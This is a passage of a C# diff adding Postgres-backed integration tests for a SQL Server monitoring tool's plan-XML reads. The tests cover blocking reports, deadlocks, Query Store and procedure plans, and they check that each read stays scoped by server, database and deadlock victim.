+            Assert.Equal(estimated, await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 51, ServerName, 3, cancellationToken: ct));
+            Assert.Equal(live, await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 51, ServerName, 3, live: true, cancellationToken: ct));
+
+            /* The microseconds are the key: the same instant rounded to the second matches nothing. */
+            var rounded = Anchor.AddTicks(-(Anchor.Ticks % TimeSpan.TicksPerSecond)).ToString("o", CultureInfo.InvariantCulture);
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, rounded, 51, ServerName, 3, cancellationToken: ct)));
+
+            /* A row collected with a NULL request_id answers to request_id 0 (the grids carry it as 0). */
+            Assert.Equal(noRequest, await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 52, ServerName, 0, cancellationToken: ct));
+            Assert.Equal(noRequest, await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 52, ServerName, cancellationToken: ct));
+
+            /* Wrong keys, and a row with no live plan, are unavailable. */
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 999, ServerName, 3, cancellationToken: ct)));
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 51, ServerName, 4, cancellationToken: ct)));
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetActiveQueryPlanXml(postgres, key, 52, ServerName, 0, live: true, cancellationToken: ct)));
+
+            /* ---- get_query_store_plan_xml, through the inline query_plan_text column. */
+            Assert.Equal(queryStore, await DarlingMcpPlanTools.GetQueryStorePlanXml(postgres, Db, 4242, ServerName, cancellationToken: ct));
+            Assert.Equal(queryStore, await DarlingMcpPlanTools.GetQueryStorePlanXml(postgres, Db, 4242, ServerName, plan_id: 7, cancellationToken: ct));
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetQueryStorePlanXml(postgres, Db, 9999, ServerName, cancellationToken: ct)));
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetQueryStorePlanXml(postgres, Db, 4242, ServerName, plan_id: 8, cancellationToken: ct)));
+
+            /* ---- get_procedure_plan_xml. */
+            Assert.Equal(procedure, await DarlingMcpPlanTools.GetProcedurePlanXml(postgres, SqlHandle, ServerName, cancellationToken: ct));
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetProcedurePlanXml(postgres, "0xDEADBEEF", ServerName, cancellationToken: ct)));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static Task RegisterServerAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct) =>
+        RegisterServerAsync(connection, ServerId, ServerName, ct);
+
+    private static async Task RegisterServerAsync(
+        NpgsqlConnection connection, int serverId, string serverName, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO servers (server_id, server_name, display_name, is_enabled, created_date, modified_date)
+VALUES ($1, $2, $3, TRUE, $4, $4)
+ON CONFLICT (server_id) DO UPDATE SET server_name = EXCLUDED.server_name, display_name = EXCLUDED.display_name,
+    is_enabled = TRUE, modified_date = EXCLUDED.modified_date;", connection);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(Anchor, DateTimeKind.Unspecified));
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertSnapshotAsync(
+        NpgsqlConnection connection, DateTime collectionTime, int sessionId, int? requestId, string? plan, string? livePlan,
+        System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO query_snapshots
+    (collection_id, collection_time, server_id, server_name, session_id, request_id, query_plan, live_query_plan)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(sessionId);
+        command.Parameters.AddWithValue((object?)requestId ?? DBNull.Value);
+        command.Parameters.AddWithValue((object?)plan ?? DBNull.Value);
+        command.Parameters.AddWithValue((object?)livePlan ?? DBNull.Value);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertQueryStoreAsync(
+        NpgsqlConnection connection, DateTime collectionTime, long queryId, long planId, string planText,
+        System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO query_store_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_plan_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue(queryId);
+        command.Parameters.AddWithValue(planId);
+        command.Parameters.AddWithValue(planText);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task InsertProcedureAsync(
+        NpgsqlConnection connection, DateTime collectionTime, string planXml, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle, query_plan_xml)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(ServerId);
+        command.Parameters.AddWithValue(ServerName);
+        command.Parameters.AddWithValue(Db);
+        command.Parameters.AddWithValue("dbo");
+        command.Parameters.AddWithValue("usp_RowPlan");
+        command.Parameters.AddWithValue(SqlHandle);
+        command.Parameters.AddWithValue(planXml);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>
+    /// #5236: the blocking and deadlock plan reads fetch the plan of the row the LIST printed, by the strings the list
+    /// emitted (as_of is set, so the window is fixed). Blocked-process reports: one with both plans, one with the blocked plan
+    /// only, one with none, and one whose plan is an empty string (the flag and the read must agree it is absent). Two
+    /// deadlocks share BOTH stamps and differ in victim, so victim_process_id picks the right twin; a third has no plan and a
+    /// fourth an empty one. The flags are written only when true. The event_time carries microseconds, and the key is matched
+    /// exactly. The DMV-snapshot arm has no plan columns and is covered by the reader mapping test.
+    /// </summary>
+    [Fact]
+    public async Task BlockingAndDeadlockRows_FetchTheirOwnPlans_ByTheKeysTheListReadsEmit()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live row-plan test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            var bothBlocked = PlanXml("both-blocked");
+            var bothBlocking = PlanXml("both-blocking");
+            var onlyBlocked = PlanXml("only-blocked");
+            var victimOne = PlanXml("victim-one");
+            var victimTwo = PlanXml("victim-two");
+
+            await InsertReportAsync(connection, Anchor, 51, 52, bothBlocked, bothBlocking, ct);
+            await InsertReportAsync(connection, Anchor.AddMinutes(1), 53, 54, onlyBlocked, null, ct);
+            await InsertReportAsync(connection, Anchor.AddMinutes(2), 55, 56, null, null, ct);
+            await InsertReportAsync(connection, Anchor.AddMinutes(3), 57, 58, "", "", ct);
+
+            var twinCollected = Anchor.AddMinutes(10);
+            var twinStamp = twinCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, twinCollected, twinStamp, "process1a2b", victimOne, ct);
+            await InsertDeadlockAsync(connection, twinCollected, twinStamp, "process3c4d", victimTwo, ct);
+            await InsertDeadlockAsync(connection, Anchor.AddMinutes(20), Anchor.AddMinutes(20).AddSeconds(-7), "process5e6f", null, ct);
+            await InsertDeadlockAsync(connection, Anchor.AddMinutes(30), Anchor.AddMinutes(30).AddSeconds(-7), "process7a8b", "", ct);
+
+            var asOf = Anchor.AddHours(1).ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture);
+
+            /* ---- blocking: the list's own strings feed the tool. */
+            using var blockingList = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlocking(
+                postgres, ServerName, hours_back: 24, as_of: asOf, cancellationToken: ct));
+            var events = blockingList.RootElement.GetProperty("events");
+
+            JsonElement Event(int blockedSpid) => events.EnumerateArray().Single(e => e.GetProperty("blocked_spid").GetInt32() == blockedSpid);
+
+            /* The row's own strings, its database_name included (the web sends the row's database when it has one). */
+            async Task<string> BlockingPlan(JsonElement e, string? side = null) => await DarlingMcpPlanTools.GetBlockingPlanXml(
+                postgres, e.GetProperty("event_time").GetString()!, e.GetProperty("blocked_spid").GetInt32(), e.GetProperty("blocking_spid").GetInt32(),
+                ServerName, e.GetProperty("blocked_ecid").GetInt32(), e.GetProperty("blocking_ecid").GetInt32(), side ?? "blocked", DatabaseOf(e), ct);
+
+            var both = Event(51);
+            Assert.True(both.GetProperty("has_blocked_plan").GetBoolean());
+            Assert.True(both.GetProperty("has_blocking_plan").GetBoolean());
+            Assert.Equal(bothBlocked, await BlockingPlan(both));
+            Assert.Equal(bothBlocking, await BlockingPlan(both, "blocking"));
+            Assert.Equal(bothBlocking, await BlockingPlan(both, "BLOCKING"));
+
+            /* The microseconds are the key: the same instant rounded to the second matches nothing. */
+            var rounded = Anchor.AddTicks(-(Anchor.Ticks % TimeSpan.TicksPerSecond)).ToString("o", CultureInfo.InvariantCulture);
+            Assert.Equal("unavailable", StatusOf(await DarlingMcpPlanTools.GetBlockingPlanXml(postgres, rounded, 51, 52, ServerName, cancellationToken: ct)));
+
+            var blockedOnly = Event(53);
+            Assert.True(blockedOnly.GetProperty("has_blocked_plan").GetBoolean());
+            Assert.False(blockedOnly.TryGetProperty("has_blocking_plan", out _));
+            Assert.Equal(onlyBlocked, await BlockingPlan(blockedOnly));
+            Assert.Equal("unavailable", StatusOf(await BlockingPlan(blockedOnly, "blocking")));
+
+            /* No plan, and an empty-string plan: neither flag, and the reads agree. */
+            foreach (var spid in new[] { 55, 57 })
+            {
+                var none = Event(spid);
+                Assert.False(none.TryGetProperty("has_blocked_plan", out _));
+                Assert.False(none.TryGetProperty("has_blocking_plan", out _));
+                Assert.Equal("unavailable", StatusOf(await BlockingPlan(none)));
+                Assert.Equal("unavailable", StatusOf(await BlockingPlan(none, "blocking")));
+            }
+
+            /* ---- deadlocks: twins share both stamps, so the victim picks the plan. */
+            using var deadlockList = JsonDocument.Parse(await DarlingMcpBlockingTools.GetDeadlocks(
+                postgres, ServerName, hours_back: 24, as_of: asOf, cancellationToken: ct));
+            var deadlocks = deadlockList.RootElement.GetProperty("deadlocks");
+
+            JsonElement Deadlock(string victim) => deadlocks.EnumerateArray().Single(d => d.GetProperty("victim_process_id").GetString() == victim);
+
+            async Task<string> VictimPlan(JsonElement d, string? victim) => await DarlingMcpPlanTools.GetDeadlockPlanXml(
+                postgres, d.GetProperty("collection_time").GetString()!, d.GetProperty("deadlock_time").GetString()!, ServerName, victim, DatabaseOf(d), ct);
+
+            var one = Deadlock("process1a2b");
+            var two = Deadlock("process3c4d");
+            Assert.Equal(one.GetProperty("collection_time").GetString(), two.GetProperty("collection_time").GetString());
+            Assert.Equal(one.GetProperty("deadlock_time").GetString(), two.GetProperty("deadlock_time").GetString());
+            Assert.True(one.GetProperty("has_victim_plan").GetBoolean());
+            Assert.True(two.GetProperty("has_victim_plan").GetBoolean());
+            Assert.Equal(victimOne, await VictimPlan(one, "process1a2b"));
+            Assert.Equal(victimTwo, await VictimPlan(two, "process3c4d"));
+            Assert.Equal("unavailable", StatusOf(await VictimPlan(one, "process-nobody")));
+
+            /* Without the tiebreak the stamps cannot say which twin was meant, so the read picks neither: it refuses, and the
+               refusal names victim_process_id (the new test below pins the whole shape). */
+            var untied = await VictimPlan(one, null);
+            Assert.Equal("invalid", StatusOf(untied));
+            Assert.Contains("victim_process_id", untied, StringComparison.Ordinal);
+
+            foreach (var victim in new[] { "process5e6f", "process7a8b" })
+            {
+                var none = Deadlock(victim);
+                Assert.False(none.TryGetProperty("has_victim_plan", out _));
+                Assert.Equal("unavailable", StatusOf(await VictimPlan(none, victim)));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5236: a plan read for one server never returns another server's plan. A second server holds a blocked-process report
+    /// with the same event_time, spids and ecids as the first server's, collected a minute EARLIER (so it is the earliest copy
+    /// of that key), and a deadlock with the same stamps and the same victim, inserted FIRST (so it has the lower deadlock_id).
+    /// Each server's reads return its own plan, whichever side or victim form is asked. The first server's reads are the ones
+    /// that would return the other server's plan if a read lost its server predicate or bound the wrong id.
+    /// </summary>
+    [Fact]
+    public async Task BlockingAndDeadlockPlanReads_NeverReturnAnotherServersPlan()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live row-plan test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await RegisterServerAsync(connection, OtherServerId, OtherServerName, ct);
+
+            var ownBlocked = PlanXml("own-blocked");
+            var ownBlocking = PlanXml("own-blocking");
+            var ownVictim = PlanXml("own-victim");
+            var otherBlocked = PlanXml("other-blocked");
+            var otherBlocking = PlanXml("other-blocking");
+            var otherVictim = PlanXml("other-victim");
+
+            /* The same event on both servers: equal event_time, spids and ecids. The other server's copy is collected a minute
+               earlier than this server's, so without the server predicate it would be the earliest copy of the key. */
+            var ownCollected = Anchor.AddSeconds(5);
+            await InsertReportAsync(connection, OtherServerId, OtherServerName, ownCollected.AddMinutes(-1), Anchor, Db, 51, 52, otherBlocked, otherBlocking, ct);
+            await InsertReportAsync(connection, ServerId, ServerName, ownCollected, Anchor, Db, 51, 52, ownBlocked, ownBlocking, ct);
+
+            /* The same deadlock stamps and victim on both servers, the other server's inserted first so its deadlock_id is lower. */
+            var collected = Anchor.AddMinutes(10);
+            var stamp = collected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, OtherServerId, OtherServerName, collected, stamp, "process1a2b", otherVictim, Db, ct);
+            await InsertDeadlockAsync(connection, ServerId, ServerName, collected, stamp, "process1a2b", ownVictim, Db, ct);
+
+            var eventTime = Anchor.ToString("o", CultureInfo.InvariantCulture);
+            var collectionTime = collected.ToString("o", CultureInfo.InvariantCulture);
+            var deadlockTime = stamp.ToString("o", CultureInfo.InvariantCulture);
+
+            foreach (var (server, blocked, blocking, victim) in new[]
+            {
+                (ServerName, ownBlocked, ownBlocking, ownVictim),
+                (OtherServerName, otherBlocked, otherBlocking, otherVictim),
+            })
+            {
+                Assert.Equal(blocked, await DarlingMcpPlanTools.GetBlockingPlanXml(postgres, eventTime, 51, 52, server, cancellationToken: ct));
+                Assert.Equal(blocking, await DarlingMcpPlanTools.GetBlockingPlanXml(postgres, eventTime, 51, 52, server, side: "blocking", cancellationToken: ct));
+                Assert.Equal(victim, await DarlingMcpPlanTools.GetDeadlockPlanXml(postgres, collectionTime, deadlockTime, server, "process1a2b", cancellationToken: ct));
+                Assert.Equal(victim, await DarlingMcpPlanTools.GetDeadlockPlanXml(postgres, collectionTime, deadlockTime, server, cancellationToken: ct));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5236: without a victim_process_id, two deadlocks that share both stamps and name different victims are never guessed
+    /// between. The read refuses with an <c>invalid</c> answer that names victim_process_id and carries neither plan, for a
+    /// missing victim and an empty one alike; naming the victim picks either twin. A deadlock that is alone for its stamps still
+    /// answers with no victim, and so do two stored copies of ONE deadlock (they name the same victim), by the lower deadlock_id.
+    /// </summary>
+    [Fact]
+    public async Task DeadlockPlanRead_WithoutAVictim_RefusesTwinsThatNameDifferentVictims_AndStillAnswersAloneDeadlocks()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live row-plan test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            var twinOne = PlanXml("twin-one");
+            var twinTwo = PlanXml("twin-two");
+            var lone = PlanXml("lone");
+            var copyFirst = PlanXml("copy-first");
+            var copySecond = PlanXml("copy-second");
+
+            var twinCollected = Anchor.AddMinutes(10);
+            var twinStamp = twinCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, twinCollected, twinStamp, "process1a2b", twinOne, ct);
+            await InsertDeadlockAsync(connection, twinCollected, twinStamp, "process3c4d", twinTwo, ct);
+
+            var loneCollected = Anchor.AddMinutes(20);
+            var loneStamp = loneCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, loneCollected, loneStamp, "process5e6f", lone, ct);
+
+            var copyCollected = Anchor.AddMinutes(30);
+            var copyStamp = copyCollected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, copyCollected, copyStamp, "process7a8b", copyFirst, ct);
+            await InsertDeadlockAsync(connection, copyCollected, copyStamp, "process7a8b", copySecond, ct);
+
+            async Task<string> Read(DateTime collected, DateTime stamp, string? victim) => await DarlingMcpPlanTools.GetDeadlockPlanXml(
+                postgres, collected.ToString("o", CultureInfo.InvariantCulture), stamp.ToString("o", CultureInfo.InvariantCulture), ServerName, victim,
+                cancellationToken: ct);
+
+            /* Twins with no victim: refused, naming victim_process_id, with neither plan in the answer. */
+            foreach (var none in new string?[] { null, "" })
+            {
+                var refused = await Read(twinCollected, twinStamp, none);
+                using var doc = JsonDocument.Parse(refused);
+                Assert.Equal("invalid", doc.RootElement.GetProperty("status").GetString());
+                Assert.Equal("victim_process_id", doc.RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+                Assert.Contains("victim_process_id", doc.RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+                Assert.DoesNotContain("ShowPlanXML", refused, StringComparison.Ordinal);
+            }
+
+            /* Naming the victim picks either twin, and a victim that names neither is a plain miss, not a refusal. */
+            Assert.Equal(twinOne, await Read(twinCollected, twinStamp, "process1a2b"));
+            Assert.Equal(twinTwo, await Read(twinCollected, twinStamp, "process3c4d"));
+            Assert.Equal("unavailable", StatusOf(await Read(twinCollected, twinStamp, "process-nobody")));
+
+            /* A deadlock alone for its stamps answers with or without its victim. */
+            Assert.Equal(lone, await Read(loneCollected, loneStamp, null));
+            Assert.Equal(lone, await Read(loneCollected, loneStamp, "process5e6f"));
+
+            /* Two copies of one deadlock name the same victim: they are not twins, so the lower deadlock_id answers. */
+            Assert.Equal(copyFirst, await Read(copyCollected, copyStamp, null));
+            Assert.Equal(copyFirst, await Read(copyCollected, copyStamp, "process7a8b"));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #5236: both reads take an optional database_name, because one server_id can collect several databases (an Azure master
+    /// target), and each database numbers its own sessions. Two databases hold a report with the same event_time, spids and
+    /// ecids, and a deadlock with the same stamps AND the same victim, and each database's plans differ. With the row's database
+    /// sent, each read returns that database's plan, through the tools and through the web read route (which echoes it). With
+    /// none sent, or an empty one, the answer is the one the reads gave before the filter existed (the earliest copy of the
+    /// report, the lower deadlock_id). A database that has no such row is a miss that says which database.
+    /// </summary>
+    [Fact]
+    public async Task PlanReads_NarrowToTheRowsDatabase_WhenItIsSent_AndKeepTheOldAnswerWhenItIsNot()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live row-plan test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterServerAsync(connection, ct);
+
+            const string dbOne = "RowPlanDbOne";
+            const string dbTwo = "RowPlanDbTwo";
+            var oneBlocked = PlanXml("one-blocked");
+            var oneBlocking = PlanXml("one-blocking");
+            var oneVictim = PlanXml("one-victim");
+            var twoBlocked = PlanXml("two-blocked");
+            var twoBlocking = PlanXml("two-blocking");
+            var twoVictim = PlanXml("two-victim");
+
+            /* The same event key in both databases; the first database's copy is collected first, so it is the earliest copy. */
+            await InsertReportAsync(connection, ServerId, ServerName, Anchor.AddSeconds(5), Anchor, dbOne, 51, 52, oneBlocked, oneBlocking, ct);
+            await InsertReportAsync(connection, ServerId, ServerName, Anchor.AddSeconds(8), Anchor, dbTwo, 51, 52, twoBlocked, twoBlocking, ct);
+
+            /* The same stamps and the same victim in both databases, the first database's inserted first (the lower deadlock_id). */
+            var collected = Anchor.AddMinutes(10);
+            var stamp = collected.AddSeconds(-7);
+            await InsertDeadlockAsync(connection, ServerId, ServerName, collected, stamp, "process1a2b", oneVictim, dbOne, ct);
+            await InsertDeadlockAsync(connection, ServerId, ServerName, collected, stamp, "process1a2b", twoVictim, dbTwo, ct);
+
+            var eventTime = Anchor.ToString("o", CultureInfo.InvariantCulture);
+            var collectionTime = collected.ToString("o", CultureInfo.InvariantCulture);
+            var deadlockTime = stamp.ToString("o", CultureInfo.InvariantCulture);
+
+            async Task<string> Blocked(string? database, string? side = null) => await DarlingMcpPlanTools.GetBlockingPlanXml(
+                postgres, eventTime, 51, 52, ServerName, side: side, database_name: database, cancellationToken: ct);
+            async Task<string> Victim(string? database, string? victim = "process1a2b") => await DarlingMcpPlanTools.GetDeadlockPlanXml(
+                postgres, collectionTime, deadlockTime, ServerName, victim, database, ct);
+
+            /* The row's database sent: that database's plan. */
+            Assert.Equal(oneBlocked, await Blocked(dbOne));
+            Assert.Equal(oneBlocking, await Blocked(dbOne, "blocking"));
+            Assert.Equal(twoBlocked, await Blocked(dbTwo));
+            Assert.Equal(twoBlocking, await Blocked(dbTwo, "blocking"));
+            Assert.Equal(oneVictim, await Victim(dbOne));
+            Assert.Equal(twoVictim, await Victim(dbTwo));
+            Assert.Equal(twoVictim, await Victim(dbTwo, victim: null));
+
+            /* No database, or an empty one: the answer the reads gave before the filter existed. */
+            foreach (var none in new string?[] { null, "" })
+            {
+                Assert.Equal(oneBlocked, await Blocked(none));
+                Assert.Equal(oneBlocking, await Blocked(none, "blocking"));
+                Assert.Equal(oneVictim, await Victim(none));
+            }
+
+            /* A database with no such row is a miss that names it, not another database's plan. */
+            var blockedMiss = await Blocked("NoSuchDb");
+            Assert.Equal("unavailable", StatusOf(blockedMiss));
+            Assert.Contains("in database 'NoSuchDb'", MessageOf(blockedMiss), StringComparison.Ordinal);
+            var victimMiss = await Victim("NoSuchDb");
+            Assert.Equal("unavailable", StatusOf(victimMiss));
+            Assert.Contains("in database 'NoSuchDb'", MessageOf(victimMiss), StringComparison.Ordinal);
+
+            /* The web read route forwards the row's database_name to the tool and echoes it with the plan. */
+            async Task<JsonElement> Web(string tool, string query)
+            {
+                var context = new Microsoft.AspNetCore.Http.DefaultHttpContext();
+                context.Request.QueryString = new Microsoft.AspNetCore.Http.QueryString("?" + query);
+                using var doc = JsonDocument.Parse(await DarlingWebEndpoints.BuildReadDispatch()[tool](context, postgres, null!));
+                return doc.RootElement.Clone();
+            }
+
+            var blockedKey = $"server={ServerName}&event_time={eventTime}&blocked_spid=51&blocking_spid=52";
+            var webTwo = await Web("get_blocking_plan_xml", blockedKey + "&database_name=" + dbTwo);
+            Assert.Equal(twoBlocked, webTwo.GetProperty("plan_xml").GetString());
+            Assert.Equal(dbTwo, webTwo.GetProperty("database_name").GetString());
+            var webNone = await Web("get_blocking_plan_xml", blockedKey);
+            Assert.Equal(oneBlocked, webNone.GetProperty("plan_xml").GetString());
+            Assert.Equal(JsonValueKind.Null, webNone.GetProperty("database_name").ValueKind);
+
+            var victimKey = $"server={ServerName}&collection_time={collectionTime}&deadlock_time={deadlockTime}&victim_process_id=process1a2b";
+            var webVictimTwo = await Web("get_deadlock_plan_xml", victimKey + "&database_name=" + dbTwo);
+            Assert.Equal(twoVictim, webVictimTwo.GetProperty("plan_xml").GetString());
+            Assert.Equal(dbTwo, webVictimTwo.GetProperty("database_name").GetString());
+            Assert.Equal(oneVictim, (await Web("get_deadlock_plan_xml", victimKey)).GetProperty("plan_xml").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>The row's database_name as the list printed it, or null when the row has none (the web then sends none).</summary>
+    private static string? DatabaseOf(JsonElement row) =>
+        row.TryGetProperty("database_name", out var value) && value.ValueKind == JsonValueKind.String ? value.GetString() : null;
+
+    private static Task InsertReportAsync(
+        NpgsqlConnection connection, DateTime eventTime, int blockedSpid, int blockingSpid, string? blockedPlan, string? blockingPlan,
+        System.Threading.CancellationToken ct) =>
+        InsertReportAsync(connection, ServerId, ServerName, eventTime.AddSeconds(5), eventTime, Db, blockedSpid, blockingSpid, blockedPlan, blockingPlan, ct);
+
+    private static async Task InsertReportAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime collectionTime, DateTime eventTime, string? database,
+        int blockedSpid, int blockingSpid, string? blockedPlan, string? blockingPlan, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, wait_time_ms, blocking_spid, blocked_spid,
+     blocked_ecid, blocking_ecid, blocking_status, database_name, blocked_query_plan_xml, blocking_query_plan_xml)
+VALUES ($1, $2, $3, $4, $5, 12000, $6, $7, 0, 0, 'suspended', $8, $9, $10)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(eventTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(blockingSpid);
+        command.Parameters.AddWithValue(blockedSpid);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = (object?)database ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = (object?)blockedPlan ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = (object?)blockingPlan ?? DBNull.Value });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static Task InsertDeadlockAsync(
+        NpgsqlConnection connection, DateTime collectionTime, DateTime deadlockTime, string victimProcessId, string? victimPlan,
+        System.Threading.CancellationToken ct) =>
+        InsertDeadlockAsync(connection, ServerId, ServerName, collectionTime, deadlockTime, victimProcessId, victimPlan, null, ct);
+
+    private static async Task InsertDeadlockAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime collectionTime, DateTime deadlockTime,
+        string victimProcessId, string? victimPlan, string? database, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+INSERT INTO deadlocks
+    (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_query_plan_xml, database_name)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(deadlockTime, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(victimProcessId);
